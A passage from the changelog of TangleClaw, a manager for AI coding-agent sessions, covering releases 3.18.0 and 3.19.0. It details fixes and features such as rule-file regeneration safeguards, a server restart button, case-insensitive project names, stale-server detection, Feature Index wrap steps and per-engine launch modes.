`.git`-pointer-file handling, idempotence, default-ON semantics for null/empty/missing config, source-missing fallback) and 3 new cases in `test/api-config.test.js` (PATCH boolean validation, default-ON via GET, accept-and-restore round-trip). Full suite 2527/2528 pass (1 pre-existing skip; net +59 from this feature). Closes #247.

### Fixed

- **OpenClaw cache-bust now catches JSON-escaped / URL-encoded / unicode-escaped slashes (#162-followup)** — `public/openclaw-cache.js#clearStaleOpenclawCache` previously matched the raw substring `/openclaw-direct/<connId>` only. The OpenClaw dashboard bundle (`openclaw.control.settings.v1*` keys) serializes its `gatewayUrl` through `JSON.stringify` and some downstream encodings emit `\/`, `%2F`, or `/` instead of a raw forward slash. A stale URL stored in any of those escape forms slipped through the cache-bust, so opening the Volta viewer after a RentalClaw session left the iframe's dashboard auto-filled with RentalClaw's wss URL — Connect then produced the OpenClaw UI's "Protocol mismatch" banner because the Volta-served Control UI bundle tried to handshake against RentalClaw's gateway. **Fix.** Normalize those three escape forms to `/` before running the existing `OPENCLAW_DIRECT_REF` regex. Stale-detection semantics unchanged: composite values containing the current connId in any escape form are still preserved (Critic MAJOR-2 contract). The scope-honesty note in the original #162 commit explicitly called this followup out as the next failure mode. **Tests.** +4 cases in `test/openclaw-cache.test.js` covering JSON-escaped, URL-encoded, unicode-escaped stale entries (all classified stale → removed), plus a symmetric preservation case for same-connection escape-form encodings. Full openclaw-cache suite 21/21 pass.

## [3.19.0] - 2026-05-23

### Fixed

- **CLAUDE.md regeneration no longer silently clobbers PR-driven rule edits (closes #240)** — `data/global-rules.md` (renamed from `data/default-global-rules.md` and populated with the full 191-line ruleset) becomes the single canonical source for global rules. `store.globalRules.load/save` read/write the tracked file directly; the legacy `~/.tangleclaw/global-rules.md` is ignored with a one-time warn + auto-backup to `*.pre-240-backup`. New `engines.writeEngineConfig` helper wraps every engine-config write with drift detection — warns loudly when the on-disk file differs from regenerated content, surfacing the silent-clobber failure mode at all four write sites (`createProject`, `syncAllProjects`, `updateProject` engine-switch, `launchSession`). Comparator normalizes CRLF→LF + trims so Windows editors and auto-formatters don't false-positive. Helper returns `{skipped: true, ...}` for engines without config files (openclaw, genesis) so callers don't surface spurious errors. **Going forward:** PR-driven rule changes edit `data/global-rules.md` and commit; UI/API edits land in the same file. The competing-sources-of-truth class of bug is structurally impossible. Reset button in the Global Rules editor is now a no-op pending UI cleanup in #243. Full suite 2463/2464 pass.

- **Recover global rules from #234 + #236 silently clobbered by CLAUDE.md regeneration (#240)** — `lib/engines.js#_generateClaudeMd` regenerates `CLAUDE.md` from the DB-stored global rules on every session launch / engine PATCH / startup sync, overwriting the on-disk file in place. PR-driven raw-file edits to `CLAUDE.md` (e.g. via `git`) are silently discarded the next time TC restarts — the content lives on in `git log` but is functionally absent from the live ruleset. Two PRs this session were affected: **#234** (the versioning bump-level decision table) and **#236** (the stale-plan archive rule + `gh issue view <N> --json state` issue-state check). Both rule blocks were clobbered after the first TC restart following each merge; the celebrated "structural lessons codified in CLAUDE.md" claim in those PR descriptions was technically true in git history and functionally false in the running ruleset. **Recovery procedure run this session:** read the live DB content via `store.globalRules.load()`, splice the two missing rule blocks back into their respective sections (`Build Plans & Chunks` for #236, `Releases & Versioning` for #234) preserving sibling content, write back via `store.globalRules.save(merged)` (which normalizes and persists to `_globalRulesPath()`). Verified end-to-end: the regenerated `CLAUDE.md` is now byte-for-byte identical to HEAD (diff is empty), so the next TC restart produces no surprise drift. **Defensive comment added** to `lib/engines.js#_generateClaudeMd` documenting the regeneration contract and pointing future readers (or automated agents tempted to commit directly to `CLAUDE.md`) at the durable edit paths: landing-page editor, `PUT /api/rules/global` (10 KB body cap), or `store.globalRules.save()` from a node script. The same regeneration pattern applies to Codex / Aider / Gemini config files — same trap, less commonly hit because TC-v3 itself uses Claude. Public diagnostic + recovery procedure for any other cloner who is affected is documented in #240. Structural fix (preventing the trap from ever firing again — likely either a tracked-file canonical source with startup sync, or an append-only marker pattern that regeneration preserves) is tracked in #240 as separate work.

### Changed

- **"Run Critic" button: clarify the contract via label + confirm dialog + toast (#230)** — the methodology-action button on prawduct projects was previously labeled `Run Critic` with `confirm: false`, so clicking it skipped any dialog and silently POSTed to `/api/projects/:name/actions/invoke-critic`. The handler only appends an entry to `.tangleclaw/critic-runs.json`; it never *runs* a Critic. New operators clicked the button expecting an automated review, saw the toast `Run Critic: recorded`, and reasonably concluded the button was broken (it wasn't — the contract was mislabeled). **What changed.** (1) Label renamed `Run Critic` → `Mark Critic Run` (`data/templates/prawduct/template.json:106`) so the imperative is honest about what the click does. (2) `confirm: false` → `confirm: true` so the contract-clarifying dialog actually fires. (3) Two new optional per-action wording fields added to the methodology template schema — `confirmMessage` and `successToast` — used by `public/session.js#invokeMethodologyAction` when present, falling back to the generic `Run "<label>" for this project?` / `<label>: recorded` when absent. (4) The Critic action's `confirmMessage` reads: *"Confirm an Independent Critic review was completed for this branch. This button does NOT run a Critic automatically — it records that you (or a separate review agent) have completed one, so the wrap step's critic-check passes. Continue?"* — addressing the misread head-on. (5) Its `successToast` reads: *"Critic review recorded for this branch"*. **API surface change.** `lib/projects.js:enrichProject` (line 602 region) extends the methodology-action allow-list to surface `confirmMessage` and `successToast` when present and non-empty; absent fields stay absent (the handler's `typeof === 'string' && length > 0` guard tolerates both shapes). Per `feedback_symmetric_capability_gates`, the inline comment now documents that the allow-list is intentionally restrictive and lists every field it exposes. **Tests.** `test/api-actions.test.js`'s `prawduct project response includes actions[]` case extended from 2 assertions to 7: label is the new value, confirm flipped to true, confirmMessage and successToast are present-and-non-empty strings on the wire. Other test files that reference `Run Critic` as a fixture string (e.g. `test/store.test.js:896-1402`) are not load-bearing for the rename — they test store-layer merge logic against synthetic data, not the prawduct template — so they're left alone. Full suite 2445/2446 pass (1 pre-existing skip on this case-insensitive host). Closes #230.

### Added

- **"Restart TangleClaw" button in stale-server banner + Global Settings → Diagnostics (#235)** — adds a one-click restart path so operators don't have to drop to a terminal for `launchctl kickstart -k gui/$UID/com.tangleclaw.server` every time the stale-server banner (#199) lights up. **Two surfaces, same handler.** (1) The stale-server banner (`public/index.html:287`) now renders a *Restart TangleClaw* button alongside the warning text — visible only when the server reports a non-null `restartMechanism`. (2) The Global Settings modal (gear icon → "Diagnostics" section, `public/ui.js#openGlobalSettings`) carries the same button as an always-available alternative. Both wire to `triggerServerRestart()` in `public/landing.js`, which confirms via dialog, POSTs to the new endpoint, displays a "Restarting…" state, polls `/api/server-info` until `startedAt` advances, then reloads the page. Double-clicks (banner + modal) coalesce via `state.restartInFlight`. **Backend.** New `POST /api/server/restart` route in `server.js` returns 202 Accepted *before* shelling out (so the response actually flushes before the SIGKILL), then `setTimeout(() => execSync('launchctl kickstart -k gui/$(id -u)/com.tangleclaw.server'), 80)`. Returns 501 with a descriptive error when no mechanism is available — the frontend reads `restartMechanism: null` from `/api/server-info` and hides the button cleanly, so 501 is a defensive path that should never reach an operator. **Mechanism detection.** `lib/server-info.js#detectRestartMechanism()` returns `'launchctl'` when the host is macOS (`os.platform() === 'darwin'`) AND the per-user plist exists at `~/Library/LaunchAgents/com.tangleclaw.server.plist`; returns `null` otherwise. Cached on first call — the plist location is install-time-fixed, so re-stating it on every poll would be wasted. **Linux support is a deliberate follow-up** — `systemctl --user restart tangleclaw.service` is the equivalent invocation but only applies when TC is installed via systemd, which today's installer doesn't yet do. The mechanism-detection seam (`buildRestartCommand(mechanism)`) is structured so adding a `'systemctl'` branch is a self-contained change. **Tests.** 12 new cases. `test/server-info.test.js`: 5 cases for `detectRestartMechanism` (macOS+plist → `'launchctl'`; macOS-no-plist → `null`; Linux → `null`; unknown platform → `null`; caching pin), 2 cases for `buildRestartCommand` (exact command shape; null for unknown mechanism), 2 cases for `getServerInfo` surfacing the field. `test/api-system.test.js`: 3 cases for the route (501 when no mechanism; 202 + body when mechanism present, using `'true'` shell builtin as the no-op command so the test process survives; 500 when detection and builder disagree — defensive pin). Full suite 2457/2458 pass (1 pre-existing skip). Closes #235.
- **`### Internal` CHANGELOG subsection + tightened minor-bump trigger (#231)** — `version-bump` wrap step now recognizes a new `### Internal` subsection in `[Unreleased]` for refactors, test-only changes, dev tooling, CI tweaks, and doc-only edits that don't change user-facing behavior. Entries logged there still appear in `CHANGELOG.md` (full auditable history) but are intentionally excluded from `MINOR_TRIGGER_SUBSECTIONS`, so a release made up entirely of internal churn stays at a patch bump instead of inflating the minor counter. Mixed with `### Added` or `### Changed`, the user-visible subsection still wins and minor fires — `### Internal` does not "veto" a real feature. **What changed.** `SUBSECTION_RE` in `lib/wrap-steps/version-bump.js:72` now matches `Internal` alongside the existing Keep-a-Changelog set; the JSDoc precedence list (lines 19-25) and `_decideBumpLevel`'s docstring document the new bucket. The `MINOR_TRIGGER_SUBSECTIONS` set is unchanged — `Internal` is parsed but deliberately not included, so the patch-fallthrough path in `_decideBumpLevel` catches it. **Tests** (in `test/wrap-pipeline.test.js`'s existing `wrap-step version-bump — pure helpers` block): one new `_parseUnreleased` case pinning that `Internal` surfaces in `subsections[]` alongside `Added`; one new `\`### Internal\` subsection (#231)` sub-describe with five cases covering Internal-only → patch, Internal+Fixed → patch (both orderings), Internal+Added → minor (both orderings; user-visible wins), Internal+Changed → minor, and BREAKING+Internal → major (BREAKING precedence unchanged). Full suite 277/277 pass. **Operator-facing doc.** `CLAUDE.md` Global Rules → Releases & Versioning section now carries the bump-level decision table verbatim, so future sessions pick the subsection by user-visible impact rather than file footprint. The next wrap that contains only `### Internal` (or `### Internal` + `### Fixed`) entries will demonstrably bump to patch instead of minor — the closed loop the issue called for. Closes #231.
- **Feature Index dogfooded on TC-v3 (#207 Chunk 4)** — closes out the four-chunk Feature Index build. `featureIndexEnabled` is now `true` on TC-v3's own project config, and `FEATURES.md` ships at the repo root with hand-authored pointer entries across UI / Web, Server / API, Methodologies / Engines, and CLI / Tooling. The Chunk-1 stub-seeding helper was verified end-to-end via a `PATCH /api/projects/TangleClaw-v3 {"featureIndexEnabled": true}` API call: the seed template lands when the toggle flips, and the hand-authored content replaces the placeholder sections. **Verification deferred.** Two parts of the plan's verification matrix can only run in *future* sessions and are intentionally not part of this PR: (1) starting a fresh Claude Code session on TC-v3 to confirm the Chunk-2 SessionStart injection actually pastes `## Feature Index` into the prime context, and (2) producing a PR that touches a brand-new file to confirm Chunk-3's `features-toc` wrap-step appends a TBD stub. Both will happen organically as the project continues; if either misbehaves, the regression is captured in a follow-up issue rather than blocking the dogfood landing. **Cross-references.** `MEMORY.md` gains a `reference_features_index.md` entry pointing at `FEATURES.md` as the canonical "where does feature X live?" lookup, so future sessions know to consult it before spawning Explore agents.

### Internal

- **Stale-plan hygiene rule + `.claude/plans/archive/` convention** — adds two paragraphs to `CLAUDE.md` Build Plans & Chunks section codifying that plan files whose chunk has shipped get moved to `<project-root>/.claude/plans/archive/` (preserves the design rationale without polluting the active listing) AND that sessions starting work on a "next chunk" must verify the referenced issue's state via `gh issue view <N> --json state` before treating any plan as canonical. Both halves are needed: archiving is the convention, the issue-state check is the contract that protects across clones (the `.claude/` directory is gitignored, so archives are local-only). **Why now.** The 2026-05-23 session recommended #137 as the next chunk because `build-plan.md` was present at the repo root; the issue had been closed 18 days prior. The trap was structural — "plan exists" was treated as "work is ready" — and now the rule explicitly requires the issue-state check. **Local cleanup performed this session (not in this PR diff because `.claude/` and `build-plan*.md` are gitignored):** 19 stale plan files moved to `.claude/plans/archive/` — 13 from `.claude/plans/` covering closed issues #103, #131, #139, #144, #145, #155, #158, #165, #207, plus three unnumbered plans self-marked closed (`prawduct-aicontent-prompts.md` via PR #200, `version-bump-handler.md` via PR #202, `replicated-coalescing-journal.md` whose `syncAllProjects()` shipped at `lib/projects.js:728`), and 6 stale `build-plan*.md` files at the repo root (including the #137-specific `build-plan.md` that triggered this whole janitor pass). Active plans directory is now empty; future planning sessions start from a clean slate.

## [3.18.0] - 2026-05-23

### Fixed

- **Case-insensitive project identity for orphan-port import banner + every identity-creating gate (#221, closes #188)** — the landing page's `checkPortImports` (`public/landing.js:732-762`) compared lease project names against TC project names case-sensitively. A PortHub lease registered as `monad-1` (lowercase, from a programmatic registration) against a TC project named `Monad-1` (mixed-case, from a human-typed create) was falsely advertised as an "unregistered project" — clicking Import would have created a duplicate. Dogfooded today; the user spotted the false banner and asked whether the bug was on the PortHub side or the TC side. **Fix.** New `_canonicalProjectName(name)` helper in `public/landing.js` normalizes to lowercase. `checkPortImports`'s `Set` membership check, ignored-list check, and conflict-detection cross-reference now all run through it on both sides. Lease bucketing preserves the original casing (the banner shows the lease's wire-form name, not a normalized form). **Symmetric gate audit (#188 closure scope, Critic-driven expansion).** Added `store.projects.getByNameCaseInsensitive(name)` (SQL `WHERE name = ? COLLATE NOCASE`). Per `feedback_symmetric_capability_gates`, every gate around the same conceptual flag (project-name identity) must check the same predicate, so every identity-CREATING site was migrated together: `createProject`'s duplicate-check, `updateProject`'s rename-collision check, `attachProject`'s already-registered check (`lib/projects.js:1119`), `listAllProjects`'s filesystem-scan unregistered-filter (`lib/projects.js:1619`), the startup project-sync warning (`server.js:642`), and the `POST /api/projects/import` warning (`server.js:969`). Without this audit, attach + import + startup-sync would have remained back doors that could introduce the very case-collisions the new validator rejects. **Error message format.** When `existing.name === requested.name` exactly, the legacy error format is preserved (no spurious "case-insensitive match" suffix). When they differ in case, the error cites the existing project's actual casing so the operator can find it — e.g. `Project "foo-1" already exists (case-insensitive match for "Foo-1")`. Same pattern across create, rename, attach, sync, and import paths. **Self-rename allowance.** `updateProject`'s rename-collision check uses an `existing.id !== project.id` guard so case-only self-rename (`foo-1` → `Foo-1` on the same project) stays legal at the validator layer. The filesystem-side directory rename is a separate concern that case-insensitive filesystems (macOS APFS-CI, Windows) silently absorb anyway. **Deliberately out of scope.** Auto-lowercasing existing project names at storage. Project names are filesystem-coupled (`<projectsDir>/<name>`) and display-coupled (modal headers, tmux session names, pill text); renaming `Monad-1 → monad-1` would touch directories, tmux sessions, port leases, engine configs, `.claude/settings.json` hooks, and `.tangleclaw/project.json` files — high blast radius for marginal payoff. Preserve original casing for display; canonicalize only at comparison sites. `store.projects.getByName` stays case-sensitive — only identity-check call sites opt into the looser match via the new `getByNameCaseInsensitive`. URL-lookup routes (`GET /api/projects/:name`, status queries) also stay exact-case — the URL is the identity, surprising substitution would be worse than the false-match. **Test coverage:** 3 new tests in `test/projects.test.js`'s `createProject` block (case-collision rejection both directions, error-message correctness, exact-case back-compat), 3 new tests in a new `updateProject` rename-collision sub-describe (case-only self-rename allowed at validator layer with case-insensitive-FS skip, cross-rename rejected with case-collision cite, exact-case rename-target legacy error format), 1 new attach-collision test (case-insensitive-FS skip pattern matching the rename test), 4 new `test/store-projects.test.js` tests for `getByNameCaseInsensitive` (cross-case match, exact-case match, null on absent, distinct-from-getByName regression pin). Full suite 2438 / 2438 pass with 1 skipped on this case-insensitive host (net +11 from this fix). Closes #221 + #188.

### Added

- **Stale-server detection + banner (#199)** — new `lib/server-info.js` captures the git HEAD SHA at server boot and exposes a snapshot-comparison API. New `GET /api/server-info` route returns `{startupSha, currentDiskSha, isStale, commitsAhead, startedAt, uptimeSeconds}`. The landing page's init sequence fetches this in parallel with the other background loads, **polls every 60s** so the banner surfaces mid-session when the operator merges/pulls with a tab open, and renders a danger-coloured banner above the projects grid when `isStale === true` — the text shows the short SHAs of both states, the commit count between them, the running-since duration (e.g. "Running for 3h 12m"), and instructs the operator to restart TC. Wired into the existing `.orphan-banner` class shape via a `.stale-server-banner` colour variant (danger red instead of amber) so the two banners read distinctly when both surface together. **Why this matters.** Node caches required modules at process start. When the operator pulls or merges code while TC is running, the on-disk source advances but the running process keeps using its in-memory copy until restart. The browser fetches fresh static assets each page load — so the front-end shows the latest UI while the server still runs old behaviour. Silent-mismatch bugs follow: the canonical incident this issue was filed for was the Feature Index toggle clicked in a post-#208 UI, sent to a pre-#208 backend that doesn't recognize `featureIndexEnabled` and silently drops it on save (toggle appears to revert on the next read). Dogfooded today during the #207 series merge. **No-git fallback.** TC run outside a git checkout (tarball install, packaged distribution, CI) returns null for both SHAs; `isStale` reduces to `false` and the banner never fires. Detection is opt-in via the presence of a `.git` directory. Dirty-tree detection (uncommitted changes) is deliberately out of scope for v1 — only merged-since-startup commits surface. Auto-restart and per-module hot-reload are deferred. **XSS-defensive UI.** `renderStaleServerBanner` clamps `commitsAhead` to a non-negative integer (`Math.max(0, Number(x) | 0)`) and `esc()`-passes every string before assignment to `innerHTML` — matches the rest-of-file convention; a future server bug that leaks a non-numeric `commitsAhead` cannot inject markup. **Test-only reset export.** The module exposes `__unsafeResetForTest` (double-underscore + `unsafe` token) instead of the more conventional `_resetForTest`, so accidental production usage is grep-loud at review time. **Test coverage:** new `test/server-info.test.js` with 17 tests — capture/idempotence/no-git-fallback for `captureStartup`; clean-state, stale-state, degraded-state semantics for `getServerInfo` (matched SHAs, null SHAs, mid-runtime git removal, non-numeric rev-list output, exec timeouts via ETIMEDOUT); detached-HEAD scenario (real SHA returned, stale detection still works); pure-helper coverage for `_countCommitsAhead` (null inputs, identical SHAs that short-circuit without shelling out). Full suite 2427 / 2427 pass (net +17 from this feature). Closes #199.

### Changed

- **Extracted `todayIsoLocal` to shared `lib/wrap-steps/_date.js`** — post-#216 / post-#215 refactor that closes the duplication called out in both PRs' CHANGELOG entries. The local-zoned date formatter (`Date#getFullYear` / `getMonth` / `getDate`) previously lived inline in BOTH `lib/wrap-steps/version-bump.js` (#216's fix for `## [version] - YYYY-MM-DD` headings) and `lib/wrap-steps/features-toc.js` (#215's `## TODO (auto-stubbed YYYY-MM-DD)` heading); duplicating it meant a future "fix it" patch could silently regress one call site. **Refactor shape:** new `lib/wrap-steps/_date.js` (underscore-prefixed filename signals "internal helper, not a step kind that `STEP_DISPATCH` dispatches to") exports a single `todayIsoLocal()` function. Both handlers now `require('./_date')` and bind their `_internal.todayIso` to the shared export. The pre-existing public names `versionBump._todayIsoLocal` and `featuresToc._todayIsoLocal` are preserved as **re-exports** of the shared function — referentially identical to `_internal.todayIso` and to `dateUtil.todayIsoLocal`. This keeps every existing wiring-pin test passing untouched (no test file changes required for #216 or #215's coverage to stay valid) while collapsing the implementation to one source of truth. **Test coverage:** new `test/wrap-steps-date.test.js` with 7 tests — shape pin (YYYY-MM-DD, 10 chars, separators), local-vs-UTC behavior pin (uses a `global.Date` subclass to pin a UTC moment whose local projection differs by date; skips gracefully on UTC-host CI where the distinction is unobservable), and 5 wiring/identity pins asserting that `dateUtil.todayIsoLocal`, `versionBump._internal.todayIso`, `versionBump._todayIsoLocal`, `featuresToc._internal.todayIso`, and `featuresToc._todayIsoLocal` ALL resolve to the same function reference. The all-five-references-identical pin is the core refactor invariant — if anyone ever copies the helper back inline to "fix it in one place," this test fails on the very next suite run. Full suite 2410 / 2410 pass (net +7 from this refactor).

### Fixed

- **`_parseFields` now accepts natural-English heading variants (#201)** — `lib/wrap-steps/ai-content.js:_parseFields` previously required exact-string equality (after `.toLowerCase()`) between the `## Heading` text and the declared `captureField` name. This silently rejected the most natural Markdown a human or AI would write: `step.captureFields: ['nextSteps']` would match `## nextsteps` but NOT `## Next Steps` (space-separated), `## next-steps` (kebab), `## NEXT_STEPS` (screaming snake), or `## Next.Steps`. The handler then returned `{ok:false, status:'blocked', blockers:['Required captureField "nextSteps" missing or empty in AI response']}` and halted the wrap pipeline. Surfaced as Critic n1 on PR #200; the workaround there was to harden the `memory-update` prompt with explicit "use these exact spellings" instructions — works, but every prompt edit is one slip away from re-introducing the block. **Fix:** new `_normalizeFieldKey(s)` helper lowercases and strips every non-`[a-z0-9]` character, applied symmetrically to both sides of the comparison. After normalization, `Next Steps`, `next-steps`, `next_steps`, `NEXT.STEPS`, and `nextSteps` all collapse to the same match key `nextsteps`. Output map keys remain the DECLARED `captureField` name (not the normalized form) so downstream consumers (`_completeV2Wrap`'s summary deriver, the prawduct lockstep / inverse-drift pins in `test/prawduct-aicontent-prompts.test.js`) do not have to also normalize. Normalization is a strict superset of the prior equality contract — every input the old parser matched still matches; only the previously-rejected variants now also match. **Test coverage:** 11 new tests in `test/wrap-pipeline.test.js`'s `_parseFields` describe block — natural-English variants (`## Next Steps`, kebab, screaming snake, dotted), canonical form still works (regression pin against over-correction), multiple mixed-style headings in one response, output-key contract (declared name, not normalized form). Plus a dedicated `_normalizeFieldKey` describe block covering non-alphanumeric stripping, case folding, digit preservation, and defensive inputs (empty, null, undefined, number coercion). The prawduct lockstep / inverse-drift tests are intentionally left untouched — they enforce a STRICTER convention than the parser (single-word PascalCase headings) as a style guide for bundled methodology prompts; the parser is the safety net for community-authored methodologies and for AI responses that drift from canonical. Full suite 2360 / 2360 pass (net +11 from this fix). Closes #201.

### Added

- **YOLO mode in the launch picker for Gemini / Aider / Codex (#209)** — extends the session-launch mode modal beyond Claude Code so every engine with a documented skip-permissions / unattended-execution flag exposes it as a picker option. **Gemini CLI** gains four modes mirroring Claude's structure: `Interactive` (default), `Auto Edit` (`--approval-mode auto_edit`), `Plan Only` (`--approval-mode plan`), and `YOLO` (`--yolo` — auto-approve all actions). **Aider** gains `Interactive` + `YOLO` (`--yes-always`). **Codex** gains `Interactive` + `Full Auto` (`--full-auto` — sandboxed automatic execution, not true YOLO; the label and description call out the distinction). The modal's render gate at `public/landing.js:470` (`Object.keys(launchModes).length > 1`) means each engine needs ≥2 modes to surface the picker, which all three satisfy. Backend wiring (`lib/sessions.js:_buildLaunchCommand`) is already engine-agnostic — no JS changes required, only data. **OpenClaw** was deliberately scoped out: it's TC's in-house wrapper with no upstream YOLO flag to map, so its `launchModes` semantics need to be designed deliberately (follow-up tracked at [#210](https://github.com/Jason-Vaughan/TangleClaw/issues/210)). **Per-engine flag rationale:** all four CLIs (`claude --dangerously-skip-permissions`, `gemini --yolo`, `aider --yes-always`, `codex --full-auto`) verified against the locally installed binary's `--help` output before wiring. **Test coverage:** new `launchModes parity across engines (#209)` describe block in `test/engines.test.js` pinning (a) each engine's YOLO flag args exactly, (b) presence of `warning` text on every YOLO mode, (c) `defaultLaunchMode` key exists in `launchModes`, (d) every engine with `launchModes` has >1 mode so the modal renders, (e) sentinel pin asserting OpenClaw intentionally has no `launchModes` until [#210](https://github.com/Jason-Vaughan/TangleClaw/issues/210) is resolved. Full suite 2349 / 2349 pass (net +6 from this PR).

- **Feature Index — `features-toc` wrap-step handler (#207, Chunk 3)** — third sub-chunk of the multi-chunk Feature Index build. New `lib/wrap-steps/features-toc.js` handler appends stub entries to `<projectPath>/FEATURES.md` for files touched on the current branch that are not yet referenced anywhere in the index. Inserted into prawduct's `wrap_pipeline.steps[]` between `next-session-prime` and `memory-update` (`data/templates/prawduct/template.json`); registered in the dispatch table at `lib/wrap-pipeline.js`. **Never blocks** (matches the ADR 0002 step-kind contract + `version-bump` precedent): every degraded condition — missing `FEATURES.md`, toggle off, base branch not resolvable, empty diff, all-touched-files-already-indexed, all-touched-files-filtered — returns `{ok:true, status:'skipped'}` with `reason` / `detail` in `output` for the wrap drawer. **Gate (ADR 0001 symmetric, write-side scope):** only `projConfig.featureIndexEnabled === true` is checked here; the engine-capability + `silentPrime` predicates are injection-site concerns (Chunk 2) — gating the wrap-side handler on engine capability would falsely deny index writes on engines that maintain the file without injecting it. **Single-transaction discipline:** the handler stages content under `staged['features-toc:append'] = {primingPath, newContent, changed:true, addedCount, addedFiles, todoDate}` — `lib/wrap-steps/commit.js:_flushStagedWrites` already duck-types on `{primingPath, newContent, changed}` so the write happens during the commit step's flush, never inside this handler. **Commit body line:** new duck-type case in `_buildBodyLines` matches `{addedCount, addedFiles, todoDate}` — emits `- Feature Index: N stub(s) appended (file1, file2, file3, +M more)` so wrap commits surface the index churn in `git log`. **Drift detection:** `_extractIndexedPaths` scans existing `FEATURES.md` for path-like tokens using a single regex against the same extension allowlist; the matcher is intentionally permissive (matches inside backticks, free text, comments) so an entry written `` `lib/foo.js:42` `` or `lib/foo.js (line 42)` both register the file. Bias is toward over-skipping — a missed stub is recoverable, a false-positive duplicate would pollute the index. **Filter:** extension allowlist (`.js .jsx .ts .tsx .json .md .html .css .yaml .yml .sh`), prefix exclusion (`node_modules/`, `dist/`, `coverage/`, `build/`, `.git/`, `.tangleclaw/`), leading-dot-segment exclusion, basename exclusion (`CHANGELOG.md`, `README.md`, `FEATURES.md`). Set is intentionally moderate; Chunk 4 dogfood will surface whether tightening is needed. **Base branch resolution:** tries `main`, falls back to `master`, skips when neither resolves locally — uses `git diff --name-only <base>...HEAD` three-dot syntax so only branch-introduced changes (not mainline drift since branch point) are scanned. **Idempotence on re-wrap:** after a successful flush, the appended paths are present in `FEATURES.md`; the next wrap's drift scan finds them and skips with `reason: 'no drift'`. No explicit "this run" marker is needed — drift detection is naturally idempotent against the cumulative index state. **Migration note for existing prawduct installs.** `wrap_pipeline.steps[]` is reconciled by `_reconcileMergeBy:id` (ADR 0001), which is **additive-only AND end-appending** — bundled entries with a new `idKey` are pushed to the end of the live array, not inserted at the bundled position. On existing installs with a cached `~/.tangleclaw/templates/prawduct/template.json` predating this PR, `features-toc` will land AFTER `commit` rather than between `next-session-prime` and `memory-update`. Because `commit` is the flusher, this means the stub append silently no-ops on cached installs until the cache is refreshed. Workaround mirrors the v3.17.0 ai-content prompts recipe: (a) stop the TC server, delete `~/.tangleclaw/templates/prawduct/template.json` (or the full `~/.tangleclaw/templates/prawduct/` directory), then restart — `_copyBundledTemplates` re-copies from `data/templates/prawduct/template.json` only when the cached dir is missing; or (b) wait for a future chunk that introduces position-aware reconciliation. The dogfood pass in Chunk 4 will exercise this refresh path. **UTC-date parity (#205, applied in-chunk).** The `## TODO (auto-stubbed YYYY-MM-DD)` heading date uses a `_todayIsoLocal` formatter (`Date#getFullYear`/`getMonth`/`getDate`) instead of `Date#toISOString().slice(0,10)` so the date reflects the operator's local clock, not UTC — same bug pattern as `version-bump` was fixed for in #216. Both call sites should ultimately share a util module; deliberately duplicated here to keep this chunk's surface contained, with the shared-util refactor tracked as a follow-up after #216 + #215 merge. **Test coverage:** new `test/wrap-step-features-toc.test.js` with 31 tests across pure helpers (`_isIndexableCandidate`, `_extractIndexedPaths`, `_appendTodoSection`, `_todayIsoLocal`), handler skip semantics (every degraded path), happy-path stage shape (6-field assertion), single-transaction discipline (no filesystem write inside the handler), idempotence (re-run after simulated flush yields no new appends), commit-body line emission (truncation, defensive zero-count, duck-type precedence), and UTC-date parity (shape, local-vs-UTC behavior with host-aware skip, wiring pin). Cached-install regression test in `test/wrap-pipeline.test.js` pins `_reconcileMergeBy:id` end-append behavior so future drift here is caught at unit-test level. Step-count + step-order pins updated in `test/wrap-pipeline.test.js` (3 assertions: STEP_DISPATCH expected list, step-id order, kind order; runWrapPipeline step count 8→9), `test/sessions.test.js` (V2 lifecycle step-count 8→9; legacy NL prompt `Wrap steps:` string), and `test/skills.test.js` (`getWrapSkill('prawduct').steps[]`). **What's deferred to Chunk 4 (the final chunk):** TC-v3 itself gets a populated `FEATURES.md` hand-authored from the Explore findings; a small test commit touching a new file → wrap → confirms `features-toc` stubs it; CHANGELOG + MEMORY.md gain pointers to `FEATURES.md` as a discoverable surface. Full suite 2381 / 2381 pass (net +23 from this chunk — Chunk 3 base 28 tests + cached-install regression pin + 3 UTC-parity tests). GitHub issue [#207](https://github.com/Jason-Vaughan/TangleClaw/issues/207); plan at `.claude/plans/feature-index.md`.

- **Feature Index — SessionStart injection (#207, Chunk 2)** — second sub-chunk of the multi-chunk Feature Index build. When `featureIndexEnabled === true` AND `silentPrime === true` AND the engine profile has `capabilities.supportsSilentPrime === true`, `generatePrimePrompt()` in `lib/sessions.js` reads the project's `FEATURES.md` from the project root and pushes its trimmed contents into the prime prompt under a `## Feature Index` heading. Injection slots between the Last Session Summary and Eval Audit Mode blocks so it's adjacent to other session-dynamic state (Active Learnings, Last Session). **Symmetric gate (ADR 0001):** all three predicates must be true — asymmetric gates leak orphan state (the lesson pinned by `feedback_symmetric_capability_gates` after PR #125's Critic-caught regression). **Defensive shape-checks:** `engineProfile` and `engineProfile.capabilities` are explicitly null-checked before `supportsSilentPrime` is read, so a synthesized / minimal profile (the integration-test path and any future engine that omits the capabilities object) skips cleanly. **Graceful skip on read failure:** missing / unreadable `FEATURES.md` is caught silently — absence must never block session start (the file is opt-in scaffolding seeded by Chunk 1 only when the user toggles on). **Whitespace short-circuit:** a file containing only whitespace produces no section in the prime, so a freshly-seeded but un-edited template doesn't surface an empty heading. **Truncation preserved:** the existing `template.prime.maxTokens` truncation at `lib/sessions.js:408-413` still runs after the section is appended, so an oversize `FEATURES.md` cannot blow the prompt budget — surfaced as a `[Prime prompt truncated]` marker matching every other prime-state addition. **Test coverage:** 8 new tests in `test/sessions.test.js`'s `generatePrimePrompt` describe block — happy path (all three gates true → section present with body); each gate's negative case (toggle off / silentPrime off / engine capability false / missing capabilities object entirely); missing FEATURES.md graceful skip; whitespace-only file produces no section; truncation budget honored against an oversized FEATURES.md. **What's deferred to remaining chunks:** the `features-toc` wrap-step handler that auto-appends stubs for PR-touched files not in `FEATURES.md` (Chunk 3); dogfooding TC-v3 itself with a populated index (Chunk 4). Full suite 2357 / 2357 pass (net +8 from this chunk). GitHub issue [#207](https://github.com/Jason-Vaughan/TangleClaw/issues/207); plan at `.claude/plans/feature-index.md`.

